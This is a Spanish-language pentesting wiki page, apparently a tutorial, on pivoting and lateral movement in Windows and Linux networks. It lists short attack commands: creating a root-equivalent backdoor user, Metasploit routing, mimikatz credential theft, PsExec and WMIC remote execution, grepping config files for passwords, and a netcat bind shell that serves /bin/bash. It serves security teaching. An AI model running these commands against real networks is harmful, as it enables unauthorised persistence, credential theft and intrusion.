Tabla de Contenidos
Técnicas de Pivoting y Movimiento Lateral
El pivoting y el movimiento lateral son técnicas avanzadas de post-explotación utilizadas por pentesters y atacantes para expandir su acceso dentro de una red comprometida. El objetivo es moverse desde un sistema inicialmente comprometido a otros sistemas dentro de la misma red, elevando así el nivel de compromiso y el impacto del ataque.
Introducción al Pivoting y Movimiento Lateral
Conceptos Clave:
- Pivoting: Uso de un sistema comprometido como punto de partida para atacar otros sistemas dentro de la red.
- Movimiento Lateral: Técnica para moverse de un sistema a otro dentro de una red, a menudo utilizando credenciales comprometidas o vulnerabilidades adicionales.
Recursos:
Preparación para Pivoting
Establecimiento de una Sesión Persistente:
- Mantener acceso continuo al sistema comprometido mediante la creación de usuarios persistentes o instalando backdoors.
useradd -ou 0 -g 0 <username> passwd <username>
Configuración de Túneles:
- Configurar túneles para redirigir el tráfico a través del sistema comprometido.
ssh -D 1080 user@compromised_host
Uso de Herramientas de Pivoting:
Metasploit: Usar el módulo meterpreter para configurar pivoting.
meterpreter > run autoroute -s <target_subnet> meterpreter > run portfwd add -l <local_port> -p <remote_port> -r <remote_host>
Recursos:
Movimiento Lateral en Sistemas Windows
Enumeración de la Red y Recursos:
Utilizar herramientas para descubrir otros hosts y servicios en la red.
net view nbtstat -A <ip_address>
Robo de Credenciales:
Obtener credenciales mediante técnicas como Pass-the-Hash,
Pass-the-Ticket, o Dumping SAM.
mimikatz
Uso de Herramientas de Movimiento Lateral:
PsExec: Ejecutar comandos en sistemas remotos utilizando credenciales válidas.
PsExec.exe \\target_ip -u username -p password cmd
- WMIC (Windows Management Instrumentation Command-line):
wmic /node:<target_ip> /user:<username> /password:<password> process call create "cmd.exe /c <command>"
Recursos:
Movimiento Lateral en Sistemas Linux
Enumeración de la Red y Recursos:
Utilizar herramientas de enumeración para descubrir otros hosts y servicios.
nmap -sP 192.168.1.0/24
Robo de Credenciales:
Capturar credenciales desde archivos de configuración y memoria.
cat /etc/passwd grep -i password /etc/*
Uso de Herramientas de Movimiento Lateral:
SSH (Secure Shell): Usar credenciales comprometidas para moverse lateralmente.
ssh user@target_ip
Netcat (nc): Transferir y ejecutar scripts en sistemas remotos.
nc -lvp <port> -e /bin/bash
Recursos:
Herramientas Avanzadas para Pivoting y Movimiento Lateral
Metasploit Framework:
Usar módulos de Metasploit para automatizar pivoting y movimiento lateral.
use auxiliary/scanner/smb/smb_enumshares set RHOSTS <target_subnet> run
Cobalt Strike:
Plataforma avanzada para operaciones de pentesting y red teaming.
BloodHound:
Herramienta para mapear relaciones y privilegios en redes Active Directory.
neo4j console
Recursos:
Ejemplo de Escenario de Pivoting y Movimiento Lateral
Compromiso Inicial:
Comprometer un host utilizando un exploit o credenciales robadas.
Configuración de Pivoting:
Establecer un túnel SSH para redirigir el tráfico a través del host comprometido.
ssh -D 1080 user@compromised_host
Movimiento Lateral:
Utilizar herramientas como PsExec o SSH para moverse a otros hosts.
PsExec.exe \\target_ip -u username -p password cmd
Compromiso Adicional:
Repetir el proceso para comprometer más sistemas y expandir el acceso en la red.
Conclusión
El pivoting y el movimiento lateral son técnicas avanzadas que permiten a los atacantes expandir su acceso dentro de una red comprometida. Al dominar estas técnicas, los profesionales de seguridad pueden identificar y mitigar las rutas de ataque utilizadas por los atacantes para moverse dentro de la red. Es crucial realizar estas actividades de manera ética y con el permiso adecuado, utilizando el conocimiento adquirido para fortalecer la seguridad de los sistemas y proteger contra ataques maliciosos.
Recursos Adicionales
- Pivoting and Lateral Movement (Cybrary)
<catlist computing:hacking:pivoting: -titleHead:“Otras páginas relacionadas” -h2 -sortByTitle -sortAscending -addPageButtonEach -columns:2>